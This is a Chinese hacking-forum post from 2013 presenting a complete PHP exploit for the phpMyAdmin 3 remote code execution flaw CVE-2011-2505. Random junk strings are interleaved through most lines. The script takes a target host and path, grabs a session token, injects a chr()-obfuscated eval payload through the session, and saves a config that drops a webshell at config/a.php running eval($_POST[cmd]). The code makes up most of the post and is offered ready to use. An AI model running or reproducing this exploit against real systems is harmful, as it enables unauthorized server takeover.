找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2249|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
+ g/ V( X$ u# p( q  `7 e3 S
. A: t" m0 o, T1 i* j8 x+ ?昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
. N& P8 f/ H! c6 B1 u" z' j6 ]+ [( k( ~0 x. x$ }( ]
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:/ @& O5 N$ O2 q6 T8 z( a
一是session.auto_start = 1;' t$ W4 n- N: P/ k! d- ?
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
5 d  j. x4 v8 s当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
6 C8 ^3 |+ J8 C# |/ c5 M, l. R9 S" H3 r' m2 h8 k) n* X4 T2 b
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。. k2 S$ h1 I& _% x$ [

2 H, y; Q6 j# i8 `! S: |$ w于是写了这个php版本的exp,代码如下:) a7 W8 ]+ O3 O
. a+ g+ W  B4 U% j$ e8 ?' [
#!/usr/bin/php. u% l& f* T8 q! K- g# p6 e  X
<?php9 o$ Y8 H  b2 }* D/ ~
print_r(', @3 Z/ Z7 r& U3 W( q4 l! d
+---------------------------------------------------------------------------+) y; F; A+ N) B' M2 r
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
" r7 g8 g/ D* L. E) R$ f( }, s/ hby oldjun(www.oldjun.com)
0 W" Q( V. u* \welcome to www.t00ls.net
% s2 B: k; b$ ?. B$ ~; `, _mail: oldjun@gmail.com
& q( }; i  @( i+ ~+ N! o2 a; @Assigned CVE id: CVE-2011-2505
6 {1 d4 Q6 L  h  P; h+---------------------------------------------------------------------------+/ q5 e4 }7 s) D! M
');3 s1 [5 I9 I3 Q1 W+ d1 v! a2 F( ~$ g
$ z6 j3 L1 K9 C9 a; b/ k/ ~
/**
0 K/ }& a3 ]( f: D * working when the directory:"config" exists and is writeable.2 C0 s/ \, z8 Z0 c- ^- ~) q( X/ ]
**/
3 e# G4 M6 `. p- ]: u: k' ~# }5 a
2 e" [1 _$ @/ \if ($argc < 3) {
; O+ y2 s6 A8 [    print_r('5 S. D  |" z; o% g2 h; {' r6 V
+---------------------------------------------------------------------------+
' z7 j# t0 k% R( Y  o" vUsage: php '.$argv[0].' host path
7 |& @5 V6 Z! T" Xhost:      target server (ip/hostname)
& D  a1 ]( Q  ]8 I* Tpath:      path to pma30 S  ]9 o" \0 O; V/ V
Example:# [+ S, k/ x6 h( ~
php '.$argv[0].' localhost /pma/
$ l& \: B" A1 H  [2 {+---------------------------------------------------------------------------+
# X, G# @# y0 s0 `: B' F/ ^9 b) ~1 t');
* z5 o: C4 u( b    exit;
; v: |% m  t& z. Y}
) G0 e. X2 I2 c" e& p# C1 O# N  E4 i/ z0 `$ s% Z
$host = $argv[1];$ y; x) d% j! `1 f
$path = $argv[2];8 b, o  n/ g; u' B2 r' l

- \& a/ q. y/ l7 e( }- J: ^! _/**# \. b2 O  x- s$ N" K$ C8 H
* Try to determine if the directory:"config" exists
% c5 R5 t0 m5 N6 X**/3 n. S( n7 V) r" I
echo "[+] Try to determine if the directory:config exists....\n";
& l4 e# ^/ y0 C. F# T$returnstr=php_request('config/');5 i7 r2 m6 v8 K# a
if(strpos($returnstr,'404')){
: j' X  O! J; R2 d+ ^0 o    exit("[-] Exploit Failed! The directory:config do not exists!\n");
! z0 \1 O; W. h0 }7 H3 A! T}
: r7 u8 H% ~! Z9 X% _; U1 U: S  L& S" z
/**
$ M/ ?8 p: g' p' R( X * Try to get token and sessionid  G# R9 l% @! J* H* T2 }! b
**/: X( R0 L$ c; t* d+ b
echo "[+] Try to get token and sessionid....\n";/ z/ x5 m# C8 W4 l4 s( M
$result=php_request('index.php');
. }$ ~. s* m' n& Vpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);$ Q8 Q2 a1 r+ y! R! b
$token=$resp[3];
! B, w5 p+ z1 A- d8 v* s6 ]$sessionid=$resp[1];
1 E: R  X% U% |4 Cif($token && $sessionid){
9 m" l) D- A4 i9 y    echo "[+] tokentoken\n";8 I2 I9 }& u  N8 V+ @
    echo "[+] Session IDsessionid\n";: J6 {; F& V' J6 d% m4 k3 b
}else{
" M- Q$ E8 w6 r; F0 Z    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
: C) c8 [& g9 o. |& S+ r4 H}4 x& H- d6 T$ x
- u- V" f  Y% i1 s
/**) d2 z  }# z# V$ }; ?1 }
* Try to insert shell into session
# t' C$ R& @5 _* H" {8 z# ]/ K( u**/" q% [7 S, \/ }/ W3 R) x
echo "[+] Try to insert shell into session....\n";
1 x4 ~! Y1 n% c7 D4 Y" Y* X8 d$ Zphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
: m# j% T& C' M/ h) Y
4 b  N. W" J9 Q' w/**  x3 d, x9 R3 K! f
* Try to create webshell
( v$ q( A7 p. {; o**/
5 j! P5 l7 {0 u) oecho "[+] Try to create webshell....\n";
9 l- j9 l1 F1 O4 E0 b4 Q$ Xphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
" c% b' F/ n% W- Z$ X/**
/ M, ]' [$ X6 E5 x * Try to check if the webshell was created successfully+ @  N. U$ y8 T
**/$ K* P2 P8 R, d( q2 g) v5 N
echo "[+] Try to check if the webshell was created successfully....\n";
: [5 ^& W( j5 Z7 T; }$content=php_request('config/config.inc.php');4 w6 j, ]' n6 ^+ n
if(strpos($content,'t00ls')){) c" ^" p& Y3 I
    echo "[+] Congratulations! Expoilt successfully....\n";" H- }7 _7 I: j! d, S  L
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";" h5 d2 D9 M9 U& D9 l( |/ q+ A
}else{4 i7 A# l  W, _: Z# g. x
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
2 z+ B4 P7 H- A0 f* Q}
/ w8 d3 V, d9 @# k4 B- m  T  F( w" [% E5 n/ p8 e: U
function php_request($url,$data='',$cookie=''){9 P! }& d" |( f) x5 Y
    global  $host, $path;9 k( j0 Q7 o% d+ R% _
    ) f- x, [7 j5 S/ }7 a& q
    $method=$data?'POST':'GET';& L9 l7 b7 A1 _; J; a  ~
   
$ [, e- S1 @0 V    $packet = $method." ".$path.$url." HTTP/1.1\r\n";& L5 O: u/ |0 f: \
    $packet .= "Accept: */*\r\n";& J. }, I5 @9 U
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
/ J: C  S3 j/ H% k* I0 M; U    $packet .= "Host: $host\r\n";, T/ b" x7 B/ Q' ^$ v" _
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
2 K& H, w! W& M& P& Y    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";+ h: \& p# n4 W: a: [' U! M
    $packet .= $cookie?"Cookie: $cookie\r\n":"";1 @5 M, s6 Q- V0 S! ^$ @6 Q9 l
    $packet .= "Connection: Close\r\n\r\n";
  x5 x. s1 |0 }, Y! N" w    $packet .= $data?$data:"";! V) n4 m8 c6 F+ j. t2 p& Z) `

" V# \% v8 p6 K9 l* u( ]    $fp = fsockopen(gethostbyname($host), 80);
1 m7 ~8 C! `/ T* B# Y; P* G    if (!$fp) {
8 y; {$ c+ N% X    echo 'No response from '.$host; die;* w1 Z$ e6 t5 E9 v# M& X% C4 n
    }
; x2 I- c) J0 u% m3 @7 ]    fputs($fp, $packet);
: N& `2 G) ~6 b7 d3 ]  R9 [' V6 m
  b  n& T' Z0 X' G    $resp = '';
- s" U7 ]* C/ f( T- P% y6 }* ^
+ ^, g3 ]! o0 V    while ($fp && !feof($fp))
; J  T$ \' h: w9 t        $resp .= fread($fp, 1024);7 Y# E; Y& \3 p3 o0 Q( e2 O
( w/ ]  l( g0 @  A! m' ~
    return $resp;
- \1 X4 B! `+ x7 C( K9 A}
7 k( I4 l5 y8 h- ^    & |. H0 O$ Y  K6 f$ \
?> 7 a" O6 N- G- A! X. J
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表